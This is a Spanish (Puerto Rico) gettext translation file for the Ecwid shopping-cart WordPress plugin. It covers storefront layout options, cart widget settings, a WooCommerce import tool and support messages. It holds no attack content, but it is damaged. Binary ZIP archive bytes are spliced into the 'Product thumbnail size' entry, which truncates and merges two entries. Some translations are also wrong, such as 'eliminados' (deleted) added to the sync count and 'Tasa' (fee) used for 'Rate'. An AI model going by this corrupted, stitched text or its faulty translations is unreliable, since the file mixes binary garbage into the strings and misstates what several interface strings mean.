#: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PR.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr 